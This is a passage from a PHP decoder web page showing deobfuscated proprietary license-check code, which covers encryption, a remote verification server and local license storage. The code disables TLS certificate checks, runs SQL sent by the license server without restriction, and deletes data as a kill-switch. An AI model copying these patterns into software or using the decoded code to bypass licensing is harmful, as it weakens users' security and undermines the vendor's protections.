Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* * Copyright (C) Incevio Systems, Inc - All Rights Reserved * Unauthorized copy..
Decoded Output download
<?php
/*
* Copyright (C) Incevio Systems, Inc - All Rights Reserved
* Unauthorized copying of this file, via any medium is strictly prohibited
* Proprietary and confidential
* Written by Munna Khan <[email protected]>, September 2018
*/
function aplCustomEncrypt($string, $key)
{
$encrypted_string = null;
if (!(!empty($string) && !empty($key))) {
goto BzjF3;
}
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length("aes-256-cbc"));
$encrypted_string = openssl_encrypt($string, "aes-256-cbc", $key, 0, $iv);
$encrypted_string = base64_encode($encrypted_string . "::" . $iv);
BzjF3:
return $encrypted_string;
}
function aplCustomDecrypt($string, $key)
{
$decrypted_string = null;
if (!(!empty($string) && !empty($key))) {
goto shs5O;
}
$string = base64_decode($string);
if (!stristr($string, "::")) {
goto E1OdL;
}
$string_iv_array = explode("::", $string, 2);
if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) {
goto lVitP;
}
list($encrypted_string, $iv) = $string_iv_array;
$decrypted_string = openssl_decrypt($encrypted_string, "aes-256-cbc", $key, 0, $iv);
lVitP: E1OdL: shs5O:
return $decrypted_string;
}
function aplValidateIntegerValue($number, $min_value = 0, $max_value = INF)
{
$result = false;
if (!(!is_float($number) && filter_var($number, FILTER_VALIDATE_INT, array("options" => array("min_range" => $min_value, "max_range" => $max_value))) !== false)) {
goto LLUNW;
}
$result = true;
LLUNW:
return $result;
}
function aplValidateRawDomain($url)
{
$result = false;
if (empty($url)) {
goto oyXKx;
}
if (preg_match("/^[a-z0-9-.]+\.[a-z\.]{2,7}$/", strtolower($url))) {
goto bZLsK;
}
$result = false;
goto IoKSG;
bZLsK:
$result = true;
IoKSG: oyXKx:
return $result;
}
function aplGetCurrentUrl($remove_last_slash = null)
{
$protocol = "http";
$host = null;
$script = null;
$params = null;
$current_url = null;
if (!(isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https")) {
goto ccmJf;
}
$protocol = "https";
ccmJf:
if (!isset($_SERVER["HTTP_HOST"])) {
goto sk3V6;
}
$host = $_SERVER["HTTP_HOST"];
sk3V6:
if (!isset($_SERVER["SCRIPT_NAME"])) {
goto Mj2EI;
}
$script = $_SERVER["SCRIPT_NAME"];
Mj2EI:
if (!isset($_SERVER["QUERY_STRING"])) {
goto csXqc;
}
$params = $_SERVER["QUERY_STRING"];
csXqc:
if (!(!empty($protocol) && !empty($host) && !empty($script))) {
goto iXYT0;
}
$current_url = $protocol . "://" . $host . $script;
if (empty($params)) {
goto MeIps;
}
$current_url .= "?" . $params;
MeIps:
if (!($remove_last_slash == 1)) {
goto ios8D;
}
uF7Le:
if (!(substr($current_url, -1) == "/")) {
goto qJk1N;
}
$current_url = substr($current_url, 0, -1);
goto uF7Le;
qJk1N: ios8D: iXYT0:
return $current_url;
}
function aplGetRawDomain($url)
{
$raw_domain = null;
if (empty($url)) {
goto gNbkP;
}
$url_array = parse_url($url);
if (!empty($url_array["scheme"])) {
goto vpaVN;
}
$url = "http://" . $url;
$url_array = parse_url($url);
vpaVN:
if (empty($url_array["host"])) {
goto WnM6P;
}
$raw_domain = $url_array["host"];
$raw_domain = trim(str_ireplace("www.", '', filter_var($raw_domain, FILTER_SANITIZE_URL)));
WnM6P: gNbkP:
return $raw_domain;
}
function aplGetRootUrl($url, $remove_scheme, $remove_www, $remove_path, $remove_last_slash)
{
if (!filter_var($url, FILTER_VALIDATE_URL)) {
goto kEop1;
}
$url_array = parse_url($url);
$url = str_ireplace($url_array["scheme"] . "://", '', $url);
if ($remove_path == 1) {
goto fQe_b;
}
$last_slash_position = strripos($url, "/");
if (!($last_slash_position > 0)) {
goto zuw0h;
}
$url = substr($url, 0, $last_slash_position + 1);
zuw0h:
goto K1WFz;
fQe_b:
$first_slash_position = stripos($url, "/");
if (!($first_slash_position > 0)) {
goto zR5Kt;
}
$url = substr($url, 0, $first_slash_position + 1);
zR5Kt: K1WFz:
if (!($remove_scheme != 1)) {
goto Bgqol;
}
$url = $url_array["scheme"] . "://" . $url;
Bgqol:
if (!($remove_www == 1)) {
goto nzRtk;
}
$url = str_ireplace("www.", '', $url);
nzRtk:
if (!($remove_last_slash == 1)) {
goto BJ9U2;
}
n5D1P:
if (!(substr($url, -1) == "/")) {
goto KR24s;
}
$url = substr($url, 0, -1);
goto n5D1P;
KR24s: BJ9U2: kEop1:
return trim($url);
}
function aplCustomPost($url, $post_info = null, $refer = null)
{
$user_agent = "phpmillion cURL";
$connect_timeout = 10;
$server_response_array = array();
$formatted_headers_array = array();
if (!(filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info))) {
goto cp5wk;
}
if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL))) {
goto CKq25;
}
$refer = $url;
CKq25:
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use (&$formatted_headers_array) {
$len = strlen($header);
$header = explode(":", $header, 2);
if (!(count($header) < 2)) {
goto RfJ49;
}
return $len;
RfJ49:
$name = strtolower(trim($header[0]));
$formatted_headers_array[$name] = trim($header[1]);
return $len;
});
$result = curl_exec($ch);
$curl_error = curl_error($ch);
curl_close($ch);
$server_response_array["headers"] = $formatted_headers_array;
$server_response_array["error"] = $curl_error;
$server_response_array["body"] = $result;
cp5wk:
return $server_response_array;
}
function aplVerifyDateTime($datetime, $format)
{
$result = false;
if (!(!empty($datetime) && !empty($format))) {
goto nguIc;
}
$datetime = DateTime::createFromFormat($format, $datetime);
$errors = DateTime::getLastErrors();
if (!($datetime && empty($errors["warning_count"]))) {
goto QquZj;
}
$result = true;
QquZj: nguIc:
return $result;
}
function aplGetDaysBetweenDates($date_from, $date_to)
{
$number_of_days = 0;
if (!(aplVerifyDateTime($date_from, "Y-m-d") && aplVerifyDateTime($date_to, "Y-m-d"))) {
goto vdxBB;
}
$date_to = new DateTime($date_to);
$date_from = new DateTime($date_from);
$number_of_days = $date_from->diff($date_to)->format("%a");
vdxBB:
return $number_of_days;
}
function aplParseXmlTags($content, $tag_name)
{
$parsed_value = null;
if (!(!empty($content) && !empty($tag_name))) {
goto XmQr9;
}
preg_match_all("/<" . preg_quote($tag_name, "/") . ">(.*?)<\/" . preg_quote($tag_name, "/") . ">/ims", $content, $output_array, PREG_SET_ORDER);
if (empty($output_array[0][1])) {
goto U2apD;
}
$parsed_value = trim($output_array[0][1]);
U2apD: XmQr9:
return $parsed_value;
}
function aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
$notifications_array = array();
if (!empty($content_array)) {
goto JumyO;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto lT9i4;
JumyO:
if (!empty($content_array["headers"]["notification_server_signature"]) && aplVerifyServerSignature($content_array["headers"]["notification_server_signature"], $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product)) {
goto TpORv;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;
goto YflnD;
TpORv:
$notifications_array["notification_case"] = $content_array["headers"]["notification_case"];
$notifications_array["notification_text"] = $content_array["headers"]["notification_text"];
if (empty($content_array["headers"]["notification_data"])) {
goto VoikV;
}
$notifications_array["notification_data"] = json_decode($content_array["headers"]["notification_data"], true);
VoikV: YflnD: lT9i4:
return $notifications_array;
}
function aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
$script_signature = null;
$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
$product = $product == Null ? APL_PRODUCT_ID : $product;
if (!(!empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) {
goto W0E43;
}
$script_signature = hash("sha256", gmdate("Y-m-d") . $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE . $product . implode('', $root_ips_array));
W0E43:
return $script_signature;
}
function aplVerifyServerSignature($notification_server_signature, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $product = Null)
{
$result = false;
$root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
$product = $product == Null ? APL_PRODUCT_ID : $product;
if (!(!empty($notification_server_signature) && !empty($ROOT_URL) && isset($CLIENT_EMAIL) && isset($LICENSE_CODE) && !empty($root_ips_array))) {
goto bRqNu;
}
if (!(hash("sha256", implode('', $root_ips_array) . $product . $LICENSE_CODE . $CLIENT_EMAIL . $ROOT_URL . gmdate("Y-m-d")) == $notification_server_signature)) {
goto h8DsE;
}
$result = true;
h8DsE: bRqNu:
return $result;
}
function aplCheckSettings()
{
$notifications_array = array();
if (!(empty(APL_SALT) || APL_SALT == "some_random_text")) {
goto uTfMB;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_SALT;
uTfMB:
if (!(!filter_var(APL_ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr(APL_ROOT_URL, -1)))) {
goto XRqG3;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_URL;
XRqG3:
if (filter_var(APL_PRODUCT_ID, FILTER_VALIDATE_INT)) {
goto GtPLQ;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_PRODUCT_ID;
GtPLQ:
if (aplValidateIntegerValue(APL_DAYS, 1, 365)) {
goto DregB;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_VERIFICATION_PERIOD;
DregB:
if (!(APL_STORAGE != "DATABASE" && APL_STORAGE != "FILE")) {
goto hh3BJ;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_STORAGE;
hh3BJ:
if (!(APL_STORAGE == "DATABASE" && !ctype_alnum(str_ireplace(array("_"), '', APL_DATABASE_TABLE)))) {
goto C4tBE;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_TABLE;
C4tBE:
if (!(APL_STORAGE == "FILE" && !@is_writable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION))) {
goto vWDU7;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_LICENSE_FILE;
vWDU7:
if (!(!empty(APL_ROOT_IP) && !filter_var(APL_ROOT_IP, FILTER_VALIDATE_IP))) {
goto MvcTo;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_IP;
MvcTo:
if (!(!empty(APL_ROOT_IP) && !in_array(APL_ROOT_IP, gethostbynamel(aplGetRawDomain(APL_ROOT_URL))))) {
goto A40m6;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
A40m6:
if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) {
goto SFidQ;
}
foreach (APL_ROOT_NAMESERVERS as $nameserver) {
if (aplValidateRawDomain($nameserver)) {
goto g7CpK;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_ROOT_NAMESERVERS;
goto RUX0B;
g7CpK: wGVYR:
}
RUX0B: SFidQ:
if (!(defined("APL_ROOT_NAMESERVERS") && !empty(APL_ROOT_NAMESERVERS))) {
goto eur2Q;
}
$apl_root_nameservers_array = APL_ROOT_NAMESERVERS;
$fetched_nameservers_array = array();
$dns_records_array = dns_get_record(aplGetRawDomain(APL_ROOT_URL), DNS_NS);
foreach ($dns_records_array as $record) {
$fetched_nameservers_array[] = $record["target"];
RLFGR:
}
OVF_L:
$apl_root_nameservers_array = array_map("strtolower", $apl_root_nameservers_array);
$fetched_nameservers_array = array_map("strtolower", $fetched_nameservers_array);
sort($apl_root_nameservers_array);
sort($fetched_nameservers_array);
if (!($apl_root_nameservers_array != $fetched_nameservers_array)) {
goto AoL8w;
}
$notifications_array[] = APL_CORE_NOTIFICATION_INVALID_DNS;
AoL8w: eur2Q:
return $notifications_array;
}
function aplParseLicenseFile()
{
$license_data_array = array();
if (!@is_readable(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION)) {
goto oT8jM;
}
$file_content = file_get_contents(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION);
preg_match_all("/<([A-Z_]+)>(.*?)<\/([A-Z_]+)>/", $file_content, $matches, PREG_SET_ORDER);
if (empty($matches)) {
goto zIKvg;
}
foreach ($matches as $value) {
if (!(!empty($value[1]) && $value[1] == $value[3])) {
goto jQ_n6;
}
$license_data_array[$value[1]] = $value[2];
jQ_n6: YuHQb:
}
tRDKH: zIKvg: oT8jM:
return $license_data_array;
}
function aplGetLicenseData($MYSQLI_LINK = null)
{
$settings_row = array();
if (!(APL_STORAGE == "DATABASE")) {
goto FVL7o;
}
$table_exist = @mysqli_query($MYSQLI_LINK, "SHOW TABLES LIKE '" . APL_DATABASE_TABLE . "'");
if (!@mysqli_fetch_assoc($table_exist)) {
goto tZ2Yt;
}
$settings_results = @mysqli_query($MYSQLI_LINK, "SELECT * FROM " . APL_DATABASE_TABLE);
$settings_row = @mysqli_fetch_assoc($settings_results);
tZ2Yt: FVL7o:
if (!(APL_STORAGE == "FILE")) {
goto VKtMl;
}
$settings_row = aplParseLicenseFile();
VKtMl:
return $settings_row;
}
function aplCheckConnection()
{
$notifications_array = array();
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/connection_test.php", "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&connection_hash=" . rawurlencode(hash("sha256", "connection_test")));
if (!empty($content_array)) {
goto PL9MC;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto EWJyS;
PL9MC:
if (!($content_array["body"] != "<connection_test>OK</connection_test>")) {
goto Huyrf;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;
Huyrf: EWJyS:
return $notifications_array;
}
function aplCheckData($MYSQLI_LINK = null)
{
$error_detected = 0;
$cracking_detected = 0;
$data_check_result = false;
extract(aplGetLicenseData($MYSQLI_LINK));
if (!(!empty($ROOT_URL) && !empty($INSTALLATION_HASH) && !empty($INSTALLATION_KEY) && !empty($LCD) && !empty($LRD))) {
goto Pok2f;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY);
if (!(!filter_var($ROOT_URL, FILTER_VALIDATE_URL) || !ctype_alnum(substr($ROOT_URL, -1)))) {
goto Znv18;
}
$error_detected = 1;
Znv18:
if (!(filter_var(aplGetCurrentUrl(), FILTER_VALIDATE_URL) && stristr(aplGetRootUrl(aplGetCurrentUrl(), 1, 1, 0, 1), aplGetRootUrl("{$ROOT_URL}/", 1, 1, 0, 1)) === false)) {
goto Y2QUe;
}
$error_detected = 1;
Y2QUe:
if (!(empty($INSTALLATION_HASH) || $INSTALLATION_HASH != hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE))) {
goto MPNBk;
}
$error_detected = 1;
MPNBk:
if (!(empty($INSTALLATION_KEY) || !password_verify($LRD, aplCustomDecrypt($INSTALLATION_KEY, APL_SALT . $ROOT_URL)))) {
goto PHzYC;
}
$error_detected = 1;
PHzYC:
if (aplVerifyDateTime($LCD, "Y-m-d")) {
goto lVzUn;
}
$error_detected = 1;
lVzUn:
if (aplVerifyDateTime($LRD, "Y-m-d")) {
goto heWI8;
}
$error_detected = 1;
heWI8:
if (!(aplVerifyDateTime($LCD, "Y-m-d") && $LCD > date("Y-m-d", strtotime("+1 day")))) {
goto Ks2ip;
}
$error_detected = 1;
$cracking_detected = 1;
Ks2ip:
if (!(aplVerifyDateTime($LRD, "Y-m-d") && $LRD > date("Y-m-d", strtotime("+1 day")))) {
goto Cc1s8;
}
$error_detected = 1;
$cracking_detected = 1;
Cc1s8:
if (!(aplVerifyDateTime($LCD, "Y-m-d") && aplVerifyDateTime($LRD, "Y-m-d") && $LCD > $LRD)) {
goto cymRz;
}
$error_detected = 1;
$cracking_detected = 1;
cymRz:
if (!($cracking_detected == 1 && APL_DELETE_CRACKED == "YES")) {
goto xpzqR;
}
aplDeleteData($MYSQLI_LINK);
xpzqR:
if (!($error_detected != 1 && $cracking_detected != 1)) {
goto lhbr1;
}
$data_check_result = true;
lhbr1: Pok2f:
return $data_check_result;
}
function aplVerifyEnvatoPurchase($LICENSE_CODE = null)
{
$notifications_array = array();
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/verify_envato_purchase.php", "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&connection_hash=" . rawurlencode(hash("sha256", "verify_envato_purchase")));
if (!empty($content_array)) {
goto op_aD;
}
$notifications_array["notification_case"] = "notification_no_connection";
$notifications_array["notification_text"] = APL_NOTIFICATION_NO_CONNECTION;
goto E0Aj1;
op_aD:
if (!($content_array["body"] != "<verify_envato_purchase>OK</verify_envato_purchase>")) {
goto A61sP;
}
$notifications_array["notification_case"] = "notification_invalid_response";
$notifications_array["notification_text"] = APL_NOTIFICATION_INVALID_RESPONSE;
A61sP: E0Aj1:
return $notifications_array;
}
function incevioVerify($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto WeJEx;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto jexqj;
WeJEx:
if (!empty(aplGetLicenseData($MYSQLI_LINK)) && is_array(aplGetLicenseData($MYSQLI_LINK))) {
goto mMb9_;
}
$INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_install.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok")) {
goto kQ9VA;
}
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE")) {
goto tC_ml;
}
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"]))) {
goto jTPya;
}
$mysql_bad_array = array("%APL_DATABASE_TABLE%", "%ROOT_URL%", "%CLIENT_EMAIL%", "%LICENSE_CODE%", "%LCD%", "%LRD%", "%INSTALLATION_KEY%", "%INSTALLATION_HASH%");
$mysql_good_array = array(APL_DATABASE_TABLE, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $LCD, $LRD, $INSTALLATION_KEY, $INSTALLATION_HASH);
$license_scheme = str_replace($mysql_bad_array, $mysql_good_array, $notifications_array["notification_data"]["scheme_query"]);
mysqli_multi_query($MYSQLI_LINK, $license_scheme) or die(mysqli_error($MYSQLI_LINK));
jTPya: tC_ml:
if (!(APL_STORAGE == "FILE")) {
goto hx2hn;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>");
if (!($fwrite === false)) {
goto VLhEm;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
VLhEm:
@fclose($handle);
hx2hn: kQ9VA:
goto A9jEj;
mMb9_:
$notifications_array["notification_case"] = "notification_already_installed";
$notifications_array["notification_text"] = APL_NOTIFICATION_SCRIPT_ALREADY_INSTALLED;
A9jEj: jexqj:
return $notifications_array;
}
function preparePackageInstallation($installable)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (!empty($apl_core_notifications)) {
goto W4nHY;
}
$MYSQLI_LINK = getMysqliConnection();
$core_license = aplGetLicenseData($MYSQLI_LINK);
if (!(empty($core_license) || !is_array($core_license))) {
goto rm0IT;
}
throw new \Exception("Core script license " . "validation" . " failed! Please contact" . " support for help.");
rm0IT:
$CLIENT_EMAIL = $core_license["CLIENT_EMAIL"];
$LICENSE_CODE = $installable["license_key"];
$ROOT_URL = config("app.url");
$INSTALLATION_HASH = hash("sha256", $ROOT_URL . $CLIENT_EMAIL . $LICENSE_CODE);
$post_info = "product_id=" . rawurlencode($installable["id"]) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_install.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]);
if ($notifications_array["notification_case"] == "notification_license_ok") {
goto XkdB7;
}
if (empty($notifications_array["notification_text"])) {
goto hb8X3;
}
throw new \Exception("License " . "validation" . " failed! " . $notifications_array["notification_text"]);
hb8X3:
goto O7bkd;
XkdB7:
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt(date("Y-m-d", strtotime("-" . APL_DAYS . " days")), APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_scheme.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE, $installable["id"]);
if (!(!empty($notifications_array["notification_data"]) && !empty($notifications_array["notification_data"]["scheme_query"]))) {
goto doUx3;
}
return ["installation_key" => $INSTALLATION_KEY, "installation_hash" => $INSTALLATION_HASH, "lcd" => $LCD, "lrd" => $LRD];
doUx3: O7bkd: W4nHY:
throw new \Exception("License " . "validation" . " failed! Please contact" . " support for help.");
}
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0)
{
$notifications_array = array();
$update_lrd_value = 0;
$update_lcd_value = 0;
$updated_records = 0;
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto F5jZL;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto RlofD;
F5jZL:
if (aplCheckData($MYSQLI_LINK)) {
goto PJ1D8;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
goto bCqPn;
PJ1D8:
extract(aplGetLicenseData($MYSQLI_LINK));
if (aplGetDaysBetweenDates(aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), date("Y-m-d")) < APL_DAYS && aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= date("Y-m-d") && $FORCE_VERIFICATION === 0) {
goto n268Y;
}
$post_info = "product_id=" . rawurlencode(APL_PRODUCT_ID) . "&client_email=" . rawurlencode($CLIENT_EMAIL) . "&license_code=" . rawurlencode($LICENSE_CODE) . "&root_url=" . rawurlencode($ROOT_URL) . "&installation_hash=" . rawurlencode($INSTALLATION_HASH) . "&license_signature=" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
$content_array = aplCustomPost(APL_ROOT_URL . "/apl_callbacks/license_verify.php", $post_info, $ROOT_URL);
$notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
if (!($notifications_array["notification_case"] == "notification_license_ok")) {
goto fltTs;
}
$update_lcd_value = 1;
fltTs:
if (!($notifications_array["notification_case"] == "notification_license_cancelled" && APL_DELETE_CANCELLED == "YES")) {
goto XQZA0;
}
aplDeleteData($MYSQLI_LINK);
XQZA0:
goto oCRtN;
n268Y:
$notifications_array["notification_case"] = "notification_license_ok";
$notifications_array["notification_text"] = APL_NOTIFICATION_BYPASS_VERIFICATION;
oCRtN:
if (!(aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < date("Y-m-d"))) {
goto li8F3;
}
$update_lrd_value = 1;
li8F3:
if (!($update_lrd_value == 1 || $update_lcd_value == 1)) {
goto xcI0Z;
}
if ($update_lcd_value == 1) {
goto HpZrT;
}
$LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY);
goto vrwP1;
HpZrT:
$LCD = date("Y-m-d");
vrwP1:
$INSTALLATION_KEY = aplCustomEncrypt(password_hash(date("Y-m-d"), PASSWORD_DEFAULT), APL_SALT . $ROOT_URL);
$LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY);
$LRD = aplCustomEncrypt(date("Y-m-d"), APL_SALT . $INSTALLATION_KEY);
if (!(APL_STORAGE == "DATABASE")) {
goto xIiEw;
}
$stmt = mysqli_prepare($MYSQLI_LINK, "UPDATE " . APL_DATABASE_TABLE . " SET LCD=?, LRD=?, INSTALLATION_KEY=?");
if (!$stmt) {
goto FvvuO;
}
mysqli_stmt_bind_param($stmt, "sss", $LCD, $LRD, $INSTALLATION_KEY);
$exec = mysqli_stmt_execute($stmt);
$affected_rows = mysqli_stmt_affected_rows($stmt);
if (!($affected_rows > 0)) {
goto eZU3k;
}
$updated_records = $updated_records + $affected_rows;
eZU3k:
mysqli_stmt_close($stmt);
FvvuO:
if (!($updated_records < 1)) {
goto QJfFZ;
}
echo APL_NOTIFICATION_DATABASE_WRITE_ERROR;
exit;
QJfFZ: xIiEw:
if (!(APL_STORAGE == "FILE")) {
goto Ego4O;
}
$handle = @fopen(APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, "w+");
$fwrite = @fwrite($handle, "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>");
if (!($fwrite === false)) {
goto H37Kq;
}
echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR;
exit;
H37Kq:
@fclose($handle);
Ego4O: xcI0Z: bCqPn: RlofD:
if (!($notifications_array["notification_case"] != "notification_license_ok")) {
goto OEEhm;
}
echo "<br/><br/>";
echo "License is not" . " installed yet" . " or corrupted. Please" . " contact" . " support " . "team ";
echo " <a href="" . get_license_reset_url() . "">" . trans("app.update_app_license") . "</a>";
exit;
OEEhm:
return $notifications_array;
}
function aplVerifySupport($MYSQLI_LINK = null)
{
$notifications_array = array();
$apl_core_notifications = aplCheckSettings();
if (empty($apl_core_notifications)) {
goto Yxj33;
}
$notifications_array["notification_case"] = "notification_script_corrupted";
$notifications_array["notification_text"] = implode("; ", $apl_core_notifications);
goto PXnqV;
Yxj33:
if (aplCheckData($MYSQLI_LINK)) {
goto Rmw7h;
}
$notifications_array["notification_case"] = "notification_license_corrupted";
$notifications_array["notification_text"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
